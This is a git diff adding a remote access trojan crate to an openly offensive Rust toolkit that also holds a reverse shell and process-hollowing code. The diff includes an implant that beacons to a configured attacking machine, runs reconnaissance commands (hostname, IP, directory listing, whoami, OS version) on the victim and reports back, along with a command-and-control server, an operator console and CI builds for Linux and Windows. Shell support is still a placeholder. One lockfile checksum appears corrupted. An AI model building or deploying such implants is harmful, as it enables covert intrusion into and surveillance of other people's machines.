diff --git a/.custom_shields/remote_access_trojan.json b/.custom_shields/remote_access_trojan.json new file mode 100644 index 0000000..c32684f --- /dev/null +++ b/.custom_shields/remote_access_trojan.json @@ -0,0 +1,6 @@ +{ + "schemaVersion": 1, + "label": "remote_access_trojan", + "message": "1.0.0", + "color": "blue" +} \ No newline at end of file diff --git a/.github/workflows/linux.yml b/.github/workflows/linux.yml index 010714d..0753b46 100644 --- a/.github/workflows/linux.yml +++ b/.github/workflows/linux.yml @@ -12,6 +12,7 @@ env: CARGO_TERM_COLOR: always jobs: + linux-reverse-shell: runs-on: ubuntu-latest @@ -220,6 +221,19 @@ jobs: - name: Build hash shellcode for Linux run: cargo build -p hash_params --verbose + linux-remote-access-trojan: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build remote access trojan for Linux + run: cargo build -p remote_access_trojan --verbose + linux-all: runs-on: ubuntu-latest diff --git a/.github/workflows/shield_io_updater.yml b/.github/workflows/shield_io_updater.yml index 2a1bfdb..e19b959 100644 --- a/.github/workflows/shield_io_updater.yml +++ b/.github/workflows/shield_io_updater.yml @@ -120,3 +120,25 @@ jobs: - uses: stefanzweifel/git-auto-commit-action@v4.14.1 with: commit_message: "Update hash params badge data via Github Action" + + update-remote-access-trojan: + runs-on: ubuntu-latest + needs: update-hash-params + + steps: + - uses: actions/checkout@v3 + with: + ref: ${{ github.head_ref }} + - uses: dante-signal31/rust-app-version@v1.0.0 + id: remote_access_trojan_ver + with: + cargo_toml_folder: 'remote_access_trojan/' + - name: Update remote_access_trojan version + uses: jossef/action-set-json-field@v2 + with: + file: '.custom_shields/remote_access_trojan.json' + field: message + value: ${{ steps.remote_access_trojan_ver.outputs.app_version }} + - uses: stefanzweifel/git-auto-commit-action@v4 + with: + commit_message: "Update remote access trojan badge data via Github Action" diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index d4150cd..4b1abd5 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -295,7 +295,7 @@ jobs: - uses: actions/checkout@v3 - name: Update cargo run: cargo update - - name: Build xor shellcode for Windows + - name: Build xor params for Windows run: cargo build -p xor_params --target x86_64-pc-windows-gnu --verbose windows-hash-params: @@ -314,9 +314,28 @@ jobs: - uses: actions/checkout@v3 - name: Update cargo run: cargo update - - name: Build xor shellcode for Windows + - name: Build hash params for Windows run: cargo build -p hash_params --target x86_64-pc-windows-gnu --verbose + windows-remote-access-trojan: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build remote access trojan for Windows + run: cargo build -p remote_access_trojan --target x86_64-pc-windows-gnu --verbose + windows-all: runs-on: ubuntu-latest diff --git a/Cargo.lock b/Cargo.lock index bfaec24..0ccaf03 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,12 +2,99 @@ # It is not intended for manual editing. version = 3 +[[package]] +name = "anyhow" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4361135be9122e0870de935d7c439aef945b9f9ddd4199a553b5270b49c82a27" + +[[package]] +name = "async-stream" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dad5c83079eae9969be7fadefe640a1c566901f05ff91ab221de4b6f68d9507e" +dependencies = [ + "async-stream-impl", + "futures-core", +] + +[[package]] +name = "async-stream-impl" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10f203db73a71dfa2fb6dd22763990fa26f3d2625a6da2da900d23b87d26be27" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "async-trait" +version = "0.1.53" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed6aa3524a2dfcf9fe180c51eae2b58738348d819517ceadf95789c51fff7600" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + [[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" +[[package]] +name = "axum" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47594e438a243791dba58124b6669561f5baa14cb12046641d8008bf035e5a25" +dependencies = [ + "async-trait", + "axum-core", + "bitflags", + "bytes", + "futures-util", + "http", + "http-body", + "hyper", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "serde", + "sync_wrapper", + "tokio", + "tower", + "tower-http", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a671c9ae99531afdd5d3ee8340b8da547779430689947144c140fc74a740244" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http", + "http-body", + "mime", +] + +[[package]] +name = "base64" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" + [[package]] name = "bitflags" version = "1.3.2" @@ -18,7 +105,7 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" name = "cfg-if" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40sfd" [[package]] name = "getrandom" @@ -45,6 +132,27 @@ version = "0.2.132" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5" +[[package]] +name = "log" +version = "0.4.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6389c490849ff5bc16be905ae24bc913a9c8892e19b2341dbc175e14c341c2b8" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "matchit" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73cbba799671b762df5a175adf59ce145165747bb891505c43d09aefbbf38beb" + +[[package]] +name = "memchr" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" + [[package]] name = "memoffset" version = "0.6.5" @@ -54,6 +162,41 @@ dependencies = [ "autocfg", ] +[[package]] +name = "mime" +version = "0.3.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d" + +[[package]] +name = "mio" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52da4364ffb0e4fe33a9841a98a3f3014fb964045ce4f7a45a398243c8d6b0c9" +dependencies = [ + "libc", + "log", + "miow", + "ntapi", + "wasi 0.11.0+wasi-snapshot-preview1", + "winapi", +] + +[[package]] +name = "miow" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21" +dependencies = [ + "winapi", +] + +[[package]] +name = "multimap" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" + [[package]] name = "nix" version = "0.25.0" @@ -142,6 +285,89 @@ dependencies = [ "windows", ] +[[package]] +name = "redox_syscall" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42" +dependencies = [ + "bitflags", +] + +[[package]] +name = "regex" +version = "1.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a11647b6b25ff05a515cb92c365cec08801e83423a235b51e231e1808747286" +dependencies = [ + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.6.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b" + +[[package]] +name = "remote_access_trojan" +version = "0.1.0" +dependencies = [ + "prost", + "rco_config", + "tokio", + "tonic", + "tonic-build", +] + +[[package]] +name = "remove_dir_all" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" +dependencies = [ + "winapi", +] + +[[package]] +name = "serde" +version = "1.0.136" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce31e24b01e1e524df96f1c2fdd054405f8d7376249a5110886fb4b658484789" + +[[package]] +name = "slab" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb703cfe953bccee95685111adeedb76fabe4e97549a58d16f03ea7b9367bb32" + +[[package]] +name = "socket2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "syn" +version = "1.0.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b683b2b825c8eef438b77c36a06dc262294da3d5a5813fac20da149241dcd44d" +dependencies = [ + "proc-macro2", + "quote", + "unicode-xid", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20518fe4a4c9acf048008599e464deb21beeae3d3578418951a189c235a7a9a8" + [[package]] name = "tcp_reverse_shell" version = "1.3.0" diff --git a/Cargo.toml b/Cargo.toml index 6b07b33..e9240e8 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -8,6 +8,7 @@ members = [ "rco_utils", "tcp_reverse_shell", "xor_params", + "remote_access_trojan", ] [profile.release] diff --git a/rco_config/src/lib.rs b/rco_config/src/lib.rs index b53af2d..7961390 100644 --- a/rco_config/src/lib.rs +++ b/rco_config/src/lib.rs @@ -44,3 +44,12 @@ pub const ENCRYPTED_LINUX_MIGRATION_TARGET: &[u8] = &[0x60, 0x61, 0x73, 0x6d, 0x pub const ENCRYPTED_WINDOWS_HOLLOWING_TARGET: &[u8] = &[0x42, 0x38, 0x5f, 0x53, 0x6c, 0x6f, 0x66, 0x6c, 0x73, 0x76, 0x5d, 0x51, 0x7a, 0x77, 0x71, 0x64, 0x6f, 0x30, 0x36, 0x59, 0x72, 0x74, 0x60, 0x6c, 0x6a, 0x72, 0x76, 0x2d, 0x61, 0x7d, 0x64]; // Linux process to hollow (using a full path is advised) pub const ENCRYPTED_LINUX_HOLLOWING_TARGET: &[u8] = &[0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x62, 0x77, 0x71, 0x68]; + +/* + For remote_access_trojan +*/ + +// IP address of the attacking machine +pub const RAT_SERVER_LOCATION: &str = "127.0.0.1"; +// Port the attacking machine is listening on +pub const RAT_SERVER_PORT: u16 = 4444; \ No newline at end of file diff --git a/remote_access_trojan/Cargo.toml b/remote_access_trojan/Cargo.toml new file mode 100644 index 0000000..799684d --- /dev/null +++ b/remote_access_trojan/Cargo.toml @@ -0,0 +1,29 @@ +[package] +name = "remote_access_trojan" +version = "0.1.0" +edition = "2021" +authors = ["Kevin Conley "] +rust-version = "1.59" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +rco_config = {path = "../rco_config"} +prost = ">=0.9" +tonic = ">=0.6" +tokio = { version = ">=1.17", features = ["rt-multi-thread"] } + +[build-dependencies] +tonic-build = ">=0.6" + +[[bin]] +name = "operator" +path = "src/operator.rs" + +[[bin]] +name = "implant" +path = "src/implant.rs" + +[[bin]] +name = "server" +path = "src/server.rs" \ No newline at end of file diff --git a/remote_access_trojan/README.md b/remote_access_trojan/README.md new file mode 100644 index 0000000..48920cc --- /dev/null +++ b/remote_access_trojan/README.md @@ -0,0 +1,5 @@ +# RCO: Remote Access Trojan + +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fremote_access_trojan.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/remote_access_trojan) + +Probably need to revisit this when it's done, not much point doing it now \ No newline at end of file diff --git a/remote_access_trojan/build.rs b/remote_access_trojan/build.rs new file mode 100644 index 0000000..64d39e3 --- /dev/null +++ b/remote_access_trojan/build.rs @@ -0,0 +1,8 @@ +fn main() { + let proto_file = "./rat.proto"; + + tonic_build::configure() + .build_server(true) + .compile(&[proto_file], &["."]) + .unwrap(); +} \ No newline at end of file diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto new file mode 100644 index 0000000..e092d30 --- /dev/null +++ b/remote_access_trojan/rat.proto @@ -0,0 +1,73 @@ +syntax = "proto3"; + +package rat; + +service AskForInstructions { + rpc Send (Beacon) returns (CommandRequest); +} + +service RecordCommandResult { + rpc Send (CommandResponse) returns (Empty); +} + +service ScheduleCommand { + rpc Send (OperatorRequest) returns (OperatorResponse); +} + +// Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones +enum OperatorCommand { + OpCadence = 0; + OpDir = 1; + OpHostname = 2; + OpIp = 3; + OpLs = 4; + OpOs = 5; + OpNone = 6; + OpQuit = 7; + OpShell = 8; + OpWhoami = 9; + OpImplants = 10; + OpHelp = 11; + OpRetrieve = 12; +} + +enum RATCommand { + Cadence = 0; + Dir = 1; + Hostname = 2; + Ip = 3; + Ls = 4; + None = 5; + Os = 6; + Quit = 7; + Shell = 8; + Whoami = 9; +} + +message Beacon { + uint32 requested_command = 1; +} + +message CommandRequest { + RATCommand command = 1; + string arguments = 2; +} + +message CommandResponse { + string implant_id = 1; + uint64 timestamp = 2; + RATCommand command = 3; + string arguments = 4; + string result = 5; +} + +message OperatorRequest { + OperatorCommand command = 1; + string arguments = 2; +} + +message OperatorResponse { + string data = 1; +} + +message Empty {} \ No newline at end of file diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs new file mode 100644 index 0000000..ba24775 --- /dev/null +++ b/remote_access_trojan/src/implant.rs @@ -0,0 +1,240 @@ +use remote_access_trojan::rat::{Beacon, CommandResponse}; +use remote_access_trojan::rat::ask_for_instructions_client::AskForInstructionsClient; +use remote_access_trojan::rat::RatCommand; +use remote_access_trojan::rat::record_command_result_client::RecordCommandResultClient; +use std::collections::hash_map::DefaultHasher; +use std::hash::{Hash, Hasher}; +use std::process::Command; +use std::{mem, thread}; +use std::time::{Duration, SystemTime}; +use tonic::transport::Endpoint; + +/* +TODO + - implant 'shell' command + - encrypt traffic from implant to server + - alternate communication method(s) between implant and server +*/ + +// Return the hostname as a string +fn get_hostname() -> String { + let hostname = Command::new("hostname") + .output() + .unwrap(); + let hostname = String::from_utf8(hostname.stdout).unwrap(); + let hostname = hostname.trim(); + hostname.to_string() +} + +// Return the IP address of the victim as a string - Linux +#[cfg(target_os = "linux")] +fn get_ip_address() -> String { + let ip_address = Command::new("hostname") + .arg("-I") + .output() + .unwrap(); + let ip_address = String::from_utf8(ip_address.stdout).unwrap(); + let ip_address = ip_address.trim(); + ip_address.to_string() +} + +// Return the IP address of the victim as a string - Windows +#[cfg(windows)] +fn get_ip_address() -> String { + let ip_address = Command::new("ipconfig") + .arg("|") + .arg("findstr") + .arg("IPv4") + .output() + .unwrap(); + let ip_address = String::from_utf8(ip_address.stdout).unwrap(); + let ip_address: Vec<&str> = ip_address.split(':').collect(); + let ip_address = ip_address[1].trim(); + ip_address.to_string() +} + +// Return the current directory listing as a string - Linux +#[cfg(target_os = "linux")] +fn get_directory_listing() -> String { + let directory = Command::new("ls") + .output() + .unwrap(); + let directory = String::from_utf8(directory.stdout).unwrap(); + let directory = directory.trim(); + directory.to_string() +} + +// Return the current directory listing as a string - Windows +#[cfg(windows)] +fn get_directory_listing() -> String { + let directory = Command::new("dir") + .output() + .unwrap(); + let directory = String::from_utf8(directory.stdout).unwrap(); + let directory = directory.trim(); + directory.to_string() +} + +// Return the operating system of the victim as a string - Linux +#[cfg(target_os = "linux")] +fn get_operating_system() -> String { + let os = Command::new("cat") + .arg("/proc/version") + .output() + .unwrap(); + let os = String::from_utf8(os.stdout).unwrap(); + let os = os.trim(); + os.to_string() +} + +// Return the operating system of the victim as a string - Windows +#[cfg(windows)] +fn get_operating_system() -> String { + let os = Command::new("systeminfo") + .arg("|") + .arg("findstr") + .arg("OS ") + .output() + .unwrap(); + let os = String::from_utf8(os.stdout).unwrap(); + let os = os.trim(); + os.to_string() +} + +// Return the user compromised on the victim as a string +fn get_username() -> String { + let username = Command::new("whoami") + .output() + .unwrap(); + let username = String::from_utf8(username.stdout).unwrap(); + let username = username.trim(); + username.to_string() +} + +// Hash a thing and return the value as a u64 +fn calculate_hash(t: &T) -> u64 { + let mut s = DefaultHasher::new(); + t.hash(&mut s); + s.finish() +} + +// Generate an implant ID, which is the hashed value of {hostname}:{ip_address} formatted as a hex string +fn generate_implant_id() -> String { + let hostname = get_hostname(); + let ip_address = get_ip_address(); + + let hashed_value = calculate_hash(&format!("{hostname}:{ip_address}")); + format!("{hashed_value:x}") +} + +struct ImplantState { + implant_id: String, + cadence: Duration, + server_location: String, + server_port: u16, + command_number: u32 +} + +#[tokio::main] +async fn main() -> Result<(), Box> { + // Initialize state + let mut state = ImplantState { + implant_id: generate_implant_id(), + cadence: Duration::from_millis(10000), + server_location: String::from(rco_config::RAT_SERVER_LOCATION), + server_port: rco_config::RAT_SERVER_PORT, + command_number: 0 + }; + + loop { + // Set up connection to server + let location = state.server_location.clone(); + let port = state.server_port; + let socket = format!("http://{location}:{port}"); + let channel = Endpoint::from_shared(socket.clone())? + .connect() + .await?; + // Prepare a client for beaconing + let mut ask_client = AskForInstructionsClient::new(channel.clone()); + // Prepare a client for sending back command results + let mut response_client = RecordCommandResultClient::new(channel.clone()); + // Request the next command + let request = tonic::Request::new( + Beacon { + requested_command: state.command_number + }, + ); + // Parse the response from the server + let response = ask_client.send(request).await?.into_inner(); + let command = RatCommand::from_i32(response.command).unwrap(); + // Run the applicable command + let command_result = match command { + RatCommand::Cadence => { + state.command_number += 1; + let seconds = response.arguments.parse::()?; + state.cadence = Duration::from_millis(seconds * 1000); + "Beacon cadence changed".to_string() + }, + RatCommand::Dir => { + state.command_number += 1; + get_directory_listing() + }, + RatCommand::Hostname => { + state.command_number += 1; + get_hostname() + }, + RatCommand::Ip => { + state.command_number += 1; + get_ip_address() + }, + RatCommand::Ls => { + state.command_number += 1; + get_directory_listing() + }, + // The server does not have any commands to run that the implant has not already run + RatCommand::None => { + mem::drop(channel); + mem::drop(ask_client); + mem::drop(response_client); + thread::sleep(state.cadence); + continue + }, + RatCommand::Os => { + state.command_number += 1; + get_operating_system() + }, + RatCommand::Quit => { + state.command_number += 1; + break + }, + RatCommand::Shell => { + state.command_number += 1; + "PLACEHOLDER".to_string() + }, + RatCommand::Whoami => { + state.command_number += 1; + get_username() + } + }; + // Format the response to the server + let result = tonic::Request::new( + CommandResponse { + implant_id: state.implant_id.clone(), + timestamp: SystemTime::now().duration_since(SystemTime::UNIX_EPOCH)?.as_secs(), + command: response.command, + arguments: response.arguments, + result: command_result + }, + ); + // Send the response to the server + response_client.send(result).await?; + // By dropping these I can prevent having an always-established TCP session + mem::drop(channel); + mem::drop(ask_client); + mem::drop(response_client); + // Sleep until it is time to beacon again + thread::sleep(state.cadence); + } + + Ok(()) +} \ No newline at end of file diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs new file mode 100644 index 0000000..1638794 --- /dev/null +++ b/remote_access_trojan/src/lib.rs @@ -0,0 +1,114 @@ +use crate::rat::{OperatorCommand, RatCommand}; + +pub mod rat { + tonic::include_proto!("rat"); +} + +// Hacky copy of the protobuf in rat.rs +pub enum RsRatCommand { + Cadence = 0, + Dir = 1, + Hostname = 2, + Ip = 3, + Ls = 4, + None = 5, + Os = 6, + Quit = 7, + Shell = 8, + Whoami = 9, +} + +// Way to convert the hacky copy of the protobuf to a string slice +impl From for &str { + fn from(rat_command: RsRatCommand) -> Self { + match rat_command { + RsRatCommand::Cadence => "cadence", + RsRatCommand::Dir => "dir", + RsRatCommand::Hostname => "hostname", + RsRatCommand::Ip => "ip", + RsRatCommand::Ls => "ls", + RsRatCommand::None => "none", + RsRatCommand::Os => "os", + RsRatCommand::Quit => "quit", + RsRatCommand::Shell => "shell", + RsRatCommand::Whoami => "whoami", + } + } +} + +// Way to convert from the protobuf enum into the hacky copy of the protobuf +impl From for RsRatCommand { + fn from(command: RatCommand) -> Self { + match command { + RatCommand::Cadence => RsRatCommand::Cadence, + RatCommand::Dir => RsRatCommand::Dir, + RatCommand::Hostname => RsRatCommand::Hostname, + RatCommand::Ip => RsRatCommand::Ip, + RatCommand::Ls => RsRatCommand::Ls, + RatCommand::None => RsRatCommand::None, + RatCommand::Os => RsRatCommand::Os, + RatCommand::Quit => RsRatCommand::Quit, + RatCommand::Shell => RsRatCommand::Shell, + RatCommand::Whoami => RsRatCommand::Whoami, + } + } +} + +// Hacky copy of different protobuf in rat.rs +pub enum RsOperatorCommand { + OpCadence = 0, + OpDir = 1, + OpHostname = 2, + OpIp = 3, + OpLs = 4, + OpNone = 5, + OpOs = 6, + OpQuit = 7, + OpShell = 8, + OpWhoami = 9, + OpImplants = 10, + OpHelp = 11, + OpRetrieve = 12, +} + +// Way to convert a string slice to the second hacky protobuf copy +impl From for OperatorCommand { + fn from(command: RsOperatorCommand) -> Self { + match command { + RsOperatorCommand::OpCadence => OperatorCommand::OpCadence, + RsOperatorCommand::OpDir => OperatorCommand::OpDir, + RsOperatorCommand::OpHostname => OperatorCommand::OpHostname, + RsOperatorCommand::OpIp => OperatorCommand::OpIp, + RsOperatorCommand::OpLs => OperatorCommand::OpLs, + RsOperatorCommand::OpOs => OperatorCommand::OpOs, + RsOperatorCommand::OpQuit => OperatorCommand::OpQuit, + RsOperatorCommand::OpShell => OperatorCommand::OpShell, + RsOperatorCommand::OpWhoami => OperatorCommand::OpWhoami, + RsOperatorCommand::OpImplants => OperatorCommand::OpImplants, + RsOperatorCommand::OpHelp => OperatorCommand::OpHelp, + RsOperatorCommand::OpRetrieve => OperatorCommand::OpRetrieve, + RsOperatorCommand::OpNone => OperatorCommand::OpNone, + } + } +} + +// Way to convert a second hacky protobuf copy to the actual protobuf +impl From<&str> for RsOperatorCommand { + fn from(in_slice: &str) -> Self { + match in_slice { + "cadence" => RsOperatorCommand::OpCadence, + "dir" => RsOperatorCommand::OpDir, + "hostname" => RsOperatorCommand::OpHostname, + "ip" => RsOperatorCommand::OpIp, + "ls" => RsOperatorCommand::OpLs, + "os" => RsOperatorCommand::OpOs, + "quit" => RsOperatorCommand::OpQuit, + "shell" => RsOperatorCommand::OpShell, + "whoami" => RsOperatorCommand::OpWhoami, + "implants" => RsOperatorCommand::OpImplants, + "help" => RsOperatorCommand::OpHelp, + "retrieve" => RsOperatorCommand::OpRetrieve, + _ => RsOperatorCommand::OpNone, + } + } +} \ No newline at end of file diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs new file mode 100644 index 0000000..503327e --- /dev/null +++ b/remote_access_trojan/src/operator.rs @@ -0,0 +1,48 @@ +use remote_access_trojan::RsOperatorCommand; +use remote_access_trojan::rat::{OperatorCommand, OperatorRequest}; +use remote_access_trojan::rat::schedule_command_client::ScheduleCommandClient; +use std::io::{stdin, stdout, Write}; +use tonic::transport::Endpoint; + +/* +TODO + - send commands from operator to server + - encrypt traffic from operator to server +*/ + +#[tokio::main] +async fn main() -> Result<(), Box> { + println!("operator"); + // Set up connection to server + let location = rco_config::RAT_SERVER_LOCATION; + let port = rco_config::RAT_SERVER_PORT; + let socket = format!("http://{location}:{port}"); + let channel = Endpoint::from_shared(socket.clone())? + .connect() + .await?; + // Prepare a client for beaconing + let mut schedule_client = ScheduleCommandClient::new(channel.clone()); + loop { + print!("Command > "); + stdout().flush().unwrap(); + let mut line = String::new(); + stdin().read_line(&mut line).unwrap(); + let split_line: Vec<&str> = line.split(' ').collect(); + let (command, arguments) = match split_line.len() { + 0 => continue, + 1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()), + _ => (RsOperatorCommand::from(split_line[0].trim()).into(), split_line[1].trim().to_string()), + }; + let request = tonic::Request::new( + OperatorRequest { + command: OperatorCommand::try_into(command).unwrap(), + arguments + }, + ); + let response = schedule_client.send(request).await?.into_inner(); + let print_for_operator = response.data; + println!("{print_for_operator}"); + } + + Ok(()) +} \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs new file mode 100644 index 0000000..f1bf37b --- /dev/null +++ b/remote_access_trojan/src/server.rs @@ -0,0 +1,183 @@ +use remote_access_trojan::rat::{OperatorCommand, OperatorRequest, OperatorResponse, RatCommand}; +use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; +use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; +use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer}; +use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; +use remote_access_trojan::RsRatCommand; +use std::collections::HashMap; +use std::convert::From; +use std::fs::OpenOptions; +use std::io::Write; +use std::path::Path; +use tonic::{Request, Response, Status}; +use tonic::transport::Server; + +/* +TODO + - server state mutable + - accept commands from operator to server + - server 'retrieve' command + - server 'implants' command + - encrypt traffic from implant to server + - encrypt traffic from operator to server + - alternate communication method(s) between implant and server +*/ + +#[derive(Default)] +pub struct MyAskForInstructions {} + +#[tonic::async_trait] +impl AskForInstructions for MyAskForInstructions { + async fn send(&self, request: Request) -> Result, Status> { + // This will get removed when I have a client + let fake_commands = HashMap::from([ + (0, (RatCommand::Hostname, "".to_string())), + (1, (RatCommand::Ip, "".to_string())), + (2, (RatCommand::Ls, "".to_string())), + (3, (RatCommand::Cadence, "2".to_string())), + ]); + // Get the command number that the implant is requesting + let command_number: usize = request.into_inner().requested_command.try_into().unwrap(); + // If the command number exists in the server already, send it back to the implant to run + // Otherwise, send the 'None' command, which tells the implant there is nothing new + if fake_commands.len() > command_number { + Ok(Response::new( + CommandRequest { + command: RatCommand::try_into(fake_commands[&command_number].0).unwrap(), + arguments: fake_commands[&command_number].1.clone() + } + )) + } else { + Ok(Response::new( + CommandRequest { + command: RatCommand::try_into(RatCommand::None).unwrap(), + arguments: String::from("") + } + )) + } + } +} + +#[derive(Default)] +pub struct MyRecordCommandResult {} + +#[tonic::async_trait] +impl RecordCommandResult for MyRecordCommandResult { + async fn send(&self, request: Request) -> Result, Status> { + // Get the response from the implant and prepare it for recording + let request = request.into_inner(); + let implant_id = request.implant_id; + let timestamp = request.timestamp; + let command: &str = RsRatCommand::from(RatCommand::from_i32(request.command).unwrap()).into(); + let arguments = request.arguments; + let result = request.result; + // Determine where the result should be written based on the implant ID + let filename = format!("./{implant_id}.csv"); + // If the file already exists, the only data we need is in the implant's message + let mut data = format!("{implant_id},{timestamp},{command},{arguments},{result}"); + // Otherwise, we also need to give the file a header + if !Path::new(&filename).exists() { + data = format!("timestamp,command,arguments,result\n{implant_id},{timestamp},{command},{arguments},{result}"); + } + // Open the file and write the data to it + let mut file = OpenOptions::new() + .create(true) + .append(true) + .open(filename) + .unwrap(); + writeln!(file, "{data}").unwrap(); + // Respond to the implant basically say 'done' + Ok(Response::new( + Empty {} + )) + } +} + +#[derive(Default)] +pub struct MyScheduleCommand {} + +#[tonic::async_trait] +impl ScheduleCommand for MyScheduleCommand { + async fn send(&self, request: Request) -> Result, Status> { + // Get the request from the operator and figure out what to do with it + let inner = request.into_inner(); + let command = OperatorCommand::from_i32(inner.command).unwrap(); + let arguments = inner.arguments; + // Run the applicable command + let command_result = match command { + OperatorCommand::OpCadence => { + format!("got a cadence {arguments}!") + }, + OperatorCommand::OpDir => { + // Passthrough + "got a dir".to_string() + }, + OperatorCommand::OpImplants => { + // List all implant IDs + "got an implants".to_string() + }, + OperatorCommand::OpHelp => { + "Valid commands:\n\tcadence \n\tdir\n\thostname\n\thelp\n\timplants\n\tip\n\tls\n\tos\n\tquit\n\tretrieve \n\tshell\n\twhoami".to_string() + }, + OperatorCommand::OpHostname => { + // Passthrough + "got a hostname".to_string() + }, + OperatorCommand::OpIp => { + // Passthrough + "got an ip".to_string() + }, + OperatorCommand::OpLs => { + // Passthrough + "got an ls".to_string() + }, + OperatorCommand::OpOs => { + // Passthrough + "got an os".to_string() + }, + OperatorCommand::OpQuit => { + // Passthrough + "got a quit".to_string() + }, + OperatorCommand::OpRetrieve => { + // Retrieve data from implant + "got a retrieve".to_string() + }, + OperatorCommand::OpShell => { + // Passthrough + "got a shell".to_string() + }, + OperatorCommand::OpWhoami => { + // Passthrough + "got a whoami".to_string() + }, + _ => { + // I think this isn't possible? + "uh oh".to_string() + } + }; + // Respond to the implant basically say 'done' + Ok(Response::new( + OperatorResponse { + data: command_result + } + )) + } +} + +#[tokio::main] +async fn main() -> Result<(), Box> { + // Set up the server parameters + let port = rco_config::RAT_SERVER_PORT; + let socket = format!("127.0.0.1:{port}").parse()?; + + // Stand up the server and run it + Server::builder() + .add_service(AskForInstructionsServer::new(MyAskForInstructions::default())) + .add_service(RecordCommandResultServer::new(MyRecordCommandResult::default())) + 